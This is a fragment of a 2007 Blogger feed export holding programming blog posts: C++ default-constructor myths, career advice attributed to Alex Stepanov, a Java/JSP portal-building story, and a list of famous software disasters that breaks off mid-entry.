href='http://www.blogger.com/feeds/8374703359325566277/posts/default/5466292025716120313'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/5466292025716120313'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/05/my-experiments-with-truth-and-award.html' title='My Experiments with Truth - And the award goes to!!!'/><author><name>Jammer</name><uri>http://www.blogger.com/profile/05160101635044245088</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-2637587148716334606</id><published>2007-05-03T09:00:00.000+05:30</published><updated>2007-05-03T09:02:11.187+05:30</updated><title type='text'>MYTHS ABOUT DEFAULT CONSTRUCTORS</title><content type='html'>&lt;table class="MsoNormalTable" style="width: 100%;" border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr style=""&gt;&lt;td style="padding: 0in;" valign="top"&gt;&lt;table class="MsoNormalTable" style="width: 95%;" border="0" cellpadding="0" width="95%"&gt;&lt;tbody&gt;&lt;tr style=""&gt;&lt;td style="padding: 0.75pt;"&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size: 11pt; font-family: Arial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;          &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 11pt; font-family: Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;Well     guys, I know if you are tempted to read this article then one thing is sure     that either you have studied C++ and forgotten or are still curious about     some fundamental things about C++. They are so many things we take for     granted just because we are not able to out that “extra” effort so that we     can find ourself and understand as to how things really work.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;          &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 11pt; font-family: Arial;"&gt;Recently     I came across a startling fact that (which some of you may already know !)&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;     &lt;p class="MsoNormal" style="line-height: 130%;"&gt;&lt;span style="font-size: 11pt; line-height: 130%; font-family: Arial; color: rgb(51, 51, 51);"&gt;Programmers     new to C++ often have two common misunderstandings:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;     &lt;ol style="margin-top: 0in;" start="1" type="1"&gt;&lt;li class="MsoNormal" style="color: rgb(51, 51, 51); line-height: 130%;"&gt;&lt;span style="font-size: 11pt; line-height: 130%; font-family: Arial;"&gt;That a          default constructor is synthesized for every class that does not          define one&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="color: rgb(51, 51, 51); line-height: 130%;"&gt;&lt;span style="font-size: 11pt; line-height: 130%; font-family: Arial;"&gt;That the          compiler-synthesized default constructor provides explicit default          initializers for each data member declared within the class.&lt;/span&gt;&lt;span style="font-size: 11pt; line-height: 130%; font-family: Arial; color: rgb(51, 51, 51);"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;               &lt;p class="MsoNormal" style="line-height: 130%;"&gt;&lt;b style=""&gt;&lt;span style="font-size: 11pt; line-height: 130%; font-family: Arial; color: rgb(51, 51, 51);"&gt;Neither of these is true.&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: 11pt; line-height: 130%; font-family: Arial; color: rgb(51, 51, 51);"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;          &lt;p class="MsoNormal" style="line-height: 130%;"&gt;&lt;span style="font-size: 11pt; line-height: 130%; font-family: Arial; color: rgb(51, 51, 51);"&gt;Even     though I was now new to C++, I had these misunderstandings as like most of     you me too doesnt put that “extra” effort. Now some clarifications…&lt;/span&gt;&lt;span style="font-size: 11pt; line-height: 130%; font-family: Arial;"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;     &lt;table class="MsoNormalTable" style="width: 100%;" border="0" cellpadding="0" cellspacing="0" width="100%"&gt;      &lt;tbody&gt;&lt;tr style=""&gt;       &lt;td style="padding: 0in;" valign="top"&gt;       &lt;p class="MsoNormal" style="line-height: 130%;"&gt;&lt;span style="font-size: 11pt; line-height: 130%; font-family: Arial; color: rgb(51, 51, 51);"&gt;There       are four characteristics of a class under which the compiler needs to       synthesize a default constructor for classes that declare no constructor       at all. The Standard refers to these as implicit, nontrivial default       constructors. The synthesized constructor fulfills only an implementation       need. It does this by invoking member object or base class default       constructors or initializing the virtual function or virtual base class       mechanism for each object. Classes that do not exhibit these       characteristics and that declare no constructor at all are said to have       implicit, trivial default constructors. In practice, these trivial       default constructors are not synthesized.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;              &lt;p class="MsoNormal" style="line-height: 130%;"&gt;&lt;span style="font-size: 11pt; line-height: 130%; font-family: Arial; color: rgb(51, 51, 51);"&gt;Within       the synthesized default constructor, only the base class subobjects and       member class objects are initialized. All other nonstatic data members,       such as integers, pointers to integers, arrays of integers, and so on,       are not initialized. These initializations are needs of the program, not       of the implementation. If there is a program need for a default       constructor, such as initializing a pointer to 0, it is the programmer's       responsibility to provide it in the course of the class implementation.&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;       &lt;/td&gt;      &lt;/tr&gt;     &lt;/tbody&gt;&lt;/table&gt;     &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 11pt; font-family: Arial;"&gt;Now listen I can give more detailed description with     some examples but if you are really interested in C++ then you know you     gotta some serious job in hand … go and put some “extra” effort and if you     come across some more myths then do mind telling me too ;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;     &lt;/td&gt;    &lt;/tr&gt;   &lt;/tbody&gt;&lt;/table&gt;   &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 11pt; font-family: Arial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size: 11pt; font-family: Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 11pt; font-family: Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-2637587148716334606?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/2637587148716334606/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=2637587148716334606' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/2637587148716334606'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/2637587148716334606'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/05/myths-about-default-constructors.html' title='MYTHS ABOUT DEFAULT CONSTRUCTORS'/><author><name>mani</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-813357039291781086</id><published>2007-04-11T09:47:00.000+05:30</published><updated>2007-04-11T10:02:39.778+05:30</updated><title type='text'>Advice To Young Programmers</title><content type='html'>Recently I came across a speech given by Alex Stepenov (Principal Scientist,Adobe Systems) and I found it very inspiring and meaningful to amalgamate it into my life and every time I read it, I get revitalised on my journey to become ... :D&lt;br /&gt;&lt;br /&gt;The summary of the speech is ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Study , Study and Study&lt;br /&gt;Never ever think that you have acquired all or most of the knowledge which exists in the world. Almost&lt;br /&gt;everybody in US at age of 14 and everybody in India at age of 24 starts thinking that he has acquired all the&lt;br /&gt;wisdom and knowledge that he needs. This should be strictly avoided.&lt;br /&gt;You should be habituated to studies…exactly in the same way as you are habituated to brushing teeth and&lt;br /&gt;taking bath every morning. The habit of study must become a part of your blood. And the study should be from&lt;br /&gt;both the areas: CS, since it is your profession, and something from non-CS…Something which does not relate to&lt;br /&gt;your work. This would expand your knowledge in other field too. A regular study, everyday, is extremely&lt;br /&gt;essential. It does not matter whether you study of 20 minutes of 2 hours,but consistency is a must.&lt;br /&gt;You should always study basics and fundamentals. There is no point in going for advanced topics. When I was&lt;br /&gt;at the age of 24, I wanted to do PhD in program verification, though I was not able to understand anything from&lt;br /&gt;that. The basic reason was that my fundamental concepts were not clear. Studying Algebraic Geometry is&lt;br /&gt;useless if you do not understand basics in Algebra and Geometry. Also, you should always go back and re-read&lt;br /&gt;and re-iterate over the fundamental concepts. What is the exact definition of `fundamental’? The stuff which is&lt;br /&gt;around for a while and which forms basic part of the concepts can be regarded as more fundamental. Of course,&lt;br /&gt;everybody understands what a fundamental means.&lt;br /&gt;Here are few books which I would strongly recommend that every CS professional should read and&lt;br /&gt;understand.&lt;br /&gt;Structure and Interpretation of Computer Programs by Albenson and Sussman. I personally do not&lt;br /&gt;like the material present in this book and I do have some objections about it but this is the best book I&lt;br /&gt;have ever seen which explains all the concepts in programming in a clear and excellent way. This book is&lt;br /&gt;available online at “http://mitpress.mit.edu/sicp/“.&lt;br /&gt;Introduction to Computer Architecture by Hennessy and Patterson. How many of you have shipped the&lt;br /&gt;programs by writing them in assembly? A very good understanding of basics of how a computer operates&lt;br /&gt;is what every CS professional must have. H&amp;P Wrote two books on CA. I am talking about their first book,&lt;br /&gt;the introductory text for understanding basic aspects of how a computer works. Even if you feel that you&lt;br /&gt;know whatever is written in that book,do not stop reading. It’s good to revise basics again and again.&lt;br /&gt;Fundamentals of Programming by Donald Knuth The core of CS is algorithms and Data structures.&lt;br /&gt;Every CS professional must have the 3 volumes of Knuth’s Book on programming. It really does not&lt;br /&gt;matter if you take 30 years of your life to understand what Knuth has written, what is more important is&lt;br /&gt;that you read atleast some part of that book everyday without fail.&lt;br /&gt;Introduction to Algorithms by Cormen, Leiserson and Rivest. This book should be read daily to keep&lt;br /&gt;your concepts fresh. This is the best book for fundamental concepts in algorithms.&lt;br /&gt;2. Learn Professional Ethics&lt;br /&gt;As a CS Professional, you are morally obliged to do a good job. What this means is that you are supposed to do&lt;br /&gt;your job not for your manager but for yourself. This is already told in Bhagwatgeeta : Doing duties of your life.&lt;br /&gt;The direct implication of this is: never ever write a bad code. You don’t need to be fastest and run after shipping&lt;br /&gt;dates; rather you need to write quality code. Never write junk code. Rewrite it till it is good. Thoroughly test every&lt;br /&gt;piece of code that you write. Do not write codes which are “sort of alright”. You might not achieve perfection, but&lt;br /&gt;atleast your code should be of good quality.&lt;br /&gt;Let me quote my own example in this context. You might have heard about STL, The Standard Template Library&lt;br /&gt;that ships in with C++ compilers. I wrote it 10 years ago, in 1994. While implementing one of the routines in the&lt;br /&gt;STL, namely the “search routine”, I was a bit lazy and instead of writing a good linear order implementation of&lt;br /&gt;KMP which was difficult to code, I wrote a best quadratic implementation. I knew that I could make the search&lt;br /&gt;faster by writing a linear-order implementation, but I was lazy and I did not do that. And, after 10 years of my&lt;br /&gt;writing STL, exactly the same implementation is still used inside STL and STL ships with an inefficient quadratic&lt;br /&gt;implementation of search routine even today!! You might ask me: why can’t you rewrite that? Well…I&lt;br /&gt;cannot,because that code is no more my property!! Further, nobody today will be interested in a standalone&lt;br /&gt;efficient STL …people would prefer one which automatically ships out with the compiler itself.&lt;br /&gt;Moral is, you should have aesthetic beauty built inside you. You should “feel” uneasy on writing bad code and&lt;br /&gt;should be eager to rewrite the code till it becomes upto the quality. And to the judge the quality, you need to&lt;br /&gt;develop sense regarding which algorithms to use under what circumstances.&lt;br /&gt;3. Figure out your Goals&lt;br /&gt;Always aspire doing bigger things in life.”Viewing promotion path as your career” is a completely wrong goal. If&lt;br /&gt;you are really interested in studying and learning new things, never ever aspire for being a manager. Managers&lt;br /&gt;cannot learn and study…they have no time. “Company ladder aspiration” is not what should be important for&lt;br /&gt;you.&lt;br /&gt;You might feel that you want to do certain things which you cannot do till you become a manager. When you&lt;br /&gt;become a manager, you will soon realize that now you just cannot do anything!&lt;br /&gt;You will have a great experience as programmers. But if you care for people and love people, you will never&lt;br /&gt;enjoy being a manager…most good managers are reluctant managers. If you see people as people, you cannot&lt;br /&gt;survive at management level.&lt;br /&gt;Always aspire for professional greatness. Our profession is very beautiful because we create abstract models&lt;br /&gt;and implement them in reality. There is a big fun in doing that. We have a profession which allows us to do&lt;br /&gt;creative things and even gives nice salary for that.&lt;br /&gt;The three biggest mistakes that people usually make are aiming for money,aiming for promotion and aiming for&lt;br /&gt;fame. The moment you get some of these, you aspire for some more…and then there is no end. I do not mean&lt;br /&gt;that you should not earn money, but you should understand how much money would satisfy your needs. Bill&lt;br /&gt;Gates might be the richest person in the world; he is certainly not the happiest. Our lives are far better than his.&lt;br /&gt;Find your goal, and do best in the job that you have. Understand that what is in your pocket does not&lt;br /&gt;matter…what is in your brain finally matters.Money and fame do not matter. Knowledge matters.&lt;br /&gt;4. Follow your culture&lt;br /&gt;I have seen the tradition that whatever junk is created in US, it rapidly spreads up in the rest of the world, and&lt;br /&gt;India is not an exception for this. This cultural change creates a very strong impact on everybody’s life. Habits of&lt;br /&gt;watching spicy Bollywood or Hollywood movies and listening to pop songs and all such stupid stuff gets very&lt;br /&gt;easily cultivated in people of your age…but believe me, there is nothing great in that. This all just makes you run&lt;br /&gt;away from your culture. And there is no wisdom in running away from your culture. Indian culture,which has&lt;br /&gt;great Vedas and stories like Mahabharata and Bhagwatgeeta is really great and even Donald Knuth enjoys&lt;br /&gt;reading that. You should understand that fundamental things in Indian culture teach you a lot and you should&lt;br /&gt;never forget them.&lt;br /&gt;Finally, I would like to conclude by saying that it’s your life…do not waste it on stupid things…develop your tests,&lt;br /&gt;and start the fight.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I wish you "best of luck" on your journey to become ... ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-813357039291781086?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/813357039291781086/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=813357039291781086' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/813357039291781086'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/813357039291781086'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/04/advice-to-young-programmers.html' title='Advice To Young Programmers'/><author><name>mani</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-7190418293706020786</id><published>2007-04-04T18:02:00.000+05:30</published><updated>2007-04-04T18:58:37.894+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Servlets'/><category scheme='http://www.blogger.com/atom/ns#' term='Derby'/><category scheme='http://www.blogger.com/atom/ns#' term='JSP'/><category scheme='http://www.blogger.com/atom/ns#' term='Applets'/><category scheme='http://www.blogger.com/atom/ns#' term='Netbeans'/><title type='text'>My Experiments with Truth - The Beginning!!</title><content type='html'>Recently I was given a job to develop a web based portal and I had the freedom to choose my platform. Now, I had an inclination for JAVA (I don't know why!!) so I sincerely downloaded the Netbeans 5.5 IDE and the Tomcat Server for hosting it. I had prior experience with Applets and Servlets but I was totally unaware of JSP. The reason being, whichever book I picked up for JSP, they said it in the very beginning that:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;blockquote&gt;There is nothing that a JSP can do and a servlet cannot!&lt;/blockquote&gt;&lt;/span&gt;&lt;br /&gt;So, I became very reluctant to study JSP as I thought to myself that I could do whatever was required using Servlets. Thereafter, I started developing the portal. I began with designing the HTMLs with Microsoft Publisher and started writing the backend code on JAVA. It went fine in the beginning but slowly, as the requirements became more and more refined, my design went more and more haphazard!!&lt;br /&gt;&lt;br /&gt;It began with a requirement which was to enforce Authentication requirements for some of the sensitive web pages. Now there are two ways in which authentication can be enforced using the Tomcat server. One is the implicit authentication that is provided by the server itself and the second in the manually designed authentication by the developer. I thought that the automatic authentication was cool enough (the first option) so I implemented that for all my sensitive pages. Soon after that, I found myself in a mess of interlocked web pages!! I was finding it almost impossible to retrieve the name of the user who logged-in to access the sensitive pages!! I searched a lot on the net but could not find any way out!!&lt;br /&gt;&lt;br /&gt;Finally, I gave up and forced myself to manually enforce the authentication and design the Login Pages. I could solve the problem of retrieving the username and other details but this wasn't enough! I was again trapped in the mess of &lt;span style="font-style: italic;"&gt;Unavailable Classes!!&lt;/span&gt; Once the servlet generated an HTML and used applet inside it, the applet was never visible! I tried copying the class files to the root directory of my web application and suddenly it started opening!I wondered, why didn't the Netbeans guys document such irritating bugs in the software!!&lt;br /&gt;&lt;br /&gt;Bang bang bang!! I was in for more of buggy problems ahead! Suddenly the event handler that I wrote for a mouse click on a combo-box item failed to execute! To add to my worries, the Derby Database that was bundled with Netbeans became inaccessible! I was going mad at the rising problems in such an insignificant project!!!&lt;br /&gt;&lt;br /&gt;Then came the savior to rescue me from the trap I was into...... (to be continued...)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-7190418293706020786?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/7190418293706020786/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=7190418293706020786' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/7190418293706020786'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/7190418293706020786'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/04/my-experiments-with-truth-beginning.html' title='My Experiments with Truth - The Beginning!!'/><author><name>Jammer</name><uri>http://www.blogger.com/profile/05160101635044245088</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-8755436550418749412</id><published>2007-03-21T12:57:00.000+05:30</published><updated>2007-03-21T15:53:31.567+05:30</updated><title type='text'>Disastrous BUGS !!</title><content type='html'>&lt;p class="MsoNormal"&gt;&lt;b&gt;&lt;u&gt;&lt;span style="font-size: 11pt;"&gt;Mariner 1&lt;/span&gt;&lt;/u&gt;&lt;br /&gt;&lt;span style="font-size: 11pt;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 11pt;"&gt;Mariner1&lt;/span&gt;&lt;span style="font-size: 11pt;"&gt; was the first spacecraft of the Mariner program. Intended to fly by Venus, it failed during launch on July 22, 1962. A hardware failure in an antenna caused the booster to lose contact with guidance systems on the ground, so an onboard computer assumed control. However, that computer's software contained a bug. It is claimed that the bug consisted a period typed in place of a comma, causing a FORTRAN statement of the form "&lt;/span&gt;&lt;tt&gt;&lt;span style="font-size: 11pt;"&gt;DO 17 I = 1, 10&lt;/span&gt;&lt;/tt&gt;&lt;span style="font-size: 11pt;"&gt;" to be interpreted as "&lt;/span&gt;&lt;tt&gt;&lt;span style="font-size: 11pt;"&gt;DO17I = 1.10&lt;/span&gt;&lt;/tt&gt;&lt;span style="font-size: 11pt;"&gt;" (an assignment to a variable called DO17I&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h3&gt;&lt;u&gt;&lt;span style="font-size: 11pt;"&gt;Ariane 5 (1996)&lt;/span&gt;&lt;/u&gt;&lt;u&gt;&lt;span style="font-size: 11pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/u&gt;&lt;/h3&gt;  &lt;h3&gt;&lt;span style="font-size: 11pt; font-weight: normal;"&gt;The Ariane 5 rocket exploded on its maiden flight in June [4], 1996 because the navigation package was inherited from the Ariane 4 without proper testing.  The new rocket flew faster, resulting in larger values of some variables in the navigation software.   Shortly after launch, an attempt to convert a 64-bit floating-point number into a 16-bit integer generated an overflow.  The error was caught, but the code that caught it elected to shut down the subsystem.  The rocket veered off course and exploded.   It was unfortunate that the code that failed generated inertial reference information useful only before lift-off; had it been turned off at the moment of launch, there would have been no trouble. (Kernighan, 1999)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h3&gt;  &lt;h3&gt;&lt;span style="font-size: 11pt; font-weight: normal;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/h3&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;b style=""&gt;&lt;u&gt;&lt;span style="font-size: 11pt;"&gt;Mars Climate Orbiter (September 23rd, 1999)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 11pt;"&gt;The 125 million dollar Mars Climate Orbiter is assumed lost by officials at NASA.  The failure responsible for loss of the orbiter is attributed to a failure of NASA’s system engineer process.  The process did not specify the system of measurement to be used on the project.  As a result, one of the development teams used Imperial measurement while the other used the metric system of measurement.  When parameters from one module were passed to another during orbit navigation correct, no conversion was performed, resulting in the loss of the craft. &lt;a href="http://mars.jpl.nasa.gov/msp98/orbiter/"&gt;http://mars.jpl.nasa.gov/msp98/orbiter/&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 11pt;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;st1:place st="on"&gt;&lt;st1:city st="on"&gt;&lt;b style=""&gt;&lt;u&gt;&lt;span style="font-size: 11pt;"&gt;Denver&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/st1:City&gt;&lt;/st1:place&gt;&lt;b style=""&gt;&lt;u&gt;&lt;span style="font-size: 11pt;"&gt; baggage handling system&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-size: 11pt;"&gt;The &lt;st1:place st="on"&gt;&lt;st1:city st="on"&gt;Denver&lt;/st1:City&gt;&lt;/st1:place&gt; airport baggage handling system was so complex (involving 300 computers) that the development overrun prevented the airport from opening on time.  Fixing the incredibly buggy system required an additional 50% of the original budget - nearly $200m.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-size: 11pt;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;b style=""&gt;&lt;u&gt;&lt;span style="font-size: 11pt;"&gt;Year 2000 Problem&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;span style="font-size: 11pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-size: 11pt;"&gt;The year 2000 problem, popularly known as the "Y2K bug", spawned fears of worldwide economic collapse and an industry of consultants providing last-minute fixes.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;&lt;span style="font-size: 11pt;"&gt;Y2K problem&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: 11pt;"&gt;, the &lt;b&gt;millennium bug&lt;/b&gt;, and the &lt;b&gt;Y2K Bug&lt;/b&gt; was the result of a practice in early computer program design that caused some date-related processing to operate incorrectly for dates and times on and after January 1, 2000. It caused widespread concern that critical industries (such as electricity or finance) and government functions would cease operating at exactly midnight, January 1, 2000, and on other critical dates which were billed as "event horizons". This fear was fueled by the attendant press coverage and other media speculation, as well as corporate and government reports. People who understand how computers work recognized that finely tuned systems could get "confused" when the 97, 98, 99, ?? ascending numbering assumption suddenly became invalid. Companies and organizations world-wide checked and upgraded their computer systems. The preparation for Y2K thus had a significant effect on the computer industry. No significant computer failures occurred when the clocks rolled over into 2000. Debate continues on whether the absence of computer failures was the result of the preparation undertaken or whether the significance of the problem had been overstated.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-size: 11pt;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;&lt;u&gt;&lt;span style="font-size: 11pt;"&gt;Therac-25&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-size: 11pt;"&gt;The Therac-25 accidents (1985-1987), quite possibly the most serious computer-related failure ever in terms of human life (at least five died).&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-size: 11pt;"&gt;Therac-25&lt;/span&gt;&lt;span style="font-size: 11pt;"&gt; was a radiation therapy machine produced by Atomic Energy of Canada Limited (AECL) and CGR MeV of France after the Therac-6 and Therac-20 units. It was involved with at least six known accidents between 1985 and 1987, in which patients were given massive overdoses of radiation, which were in some cases on the order of hundreds of grays. At least five patients died of the overdoses. These accidents highlighted the dangers of software control of safety-critical systems, and they have become a standard case study in health informatics.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-size: 11pt;"&gt;The researchers also found several &lt;i&gt;engineering&lt;/i&gt; issues:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;ul type="disc"&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-size: 11pt;"&gt;The      design did not have any hardware interlocks to prevent the electron-beam      from operating in its high-energy mode without the target in place.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-size: 11pt;"&gt;The      engineer had reused software from older models. These models had hardware      interlocks that masked their software defects. Those hardware safeties had      no way of reporting that they had been triggered, so there was no      indication of the existence of faulty software commands.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-size: 11pt;"&gt;The      hardware provided no way for the software to verify that sensors were      working correctly. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-size: 11pt;"&gt;The      software set a flag variable by incrementing it. Occasionally an arithmetic      overflow occurred, causing the software to bypass safety checks.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-size: 11pt;"&gt;The      software was written in assembly language. While this was more common at      the time than it is today, assembly language is harder to debug than most high-level      languages.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;p class="MsoNormal" style="margin-left: 0.25in;"&gt;&lt;span style="font-size: 11pt;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;b style=""&gt;&lt;u&gt;&lt;span style="font-size: 11pt;"&gt;Electric power transmission&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 11pt;"&gt;The 2003 &lt;st1:place st="on"&gt;North America&lt;/st1:place&gt; blackout was triggered by a local outage that went undetected due to a race condition in General Electric Energy's XA/21 monitoring software.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 11pt;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;b style=""&gt;&lt;u&gt;&lt;span style="font-size: 11pt;"&gt;The Patriot Missile Failure&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-size: 11pt;"&gt;On February 25, 1991, during the Gulf War, an American Patriot Missile battery in &lt;st1:place st="on"&gt;&lt;st1:city st="on"&gt;Dharan&lt;/st1:City&gt;,  &lt;st1:country-region st="on"&gt;Saudi 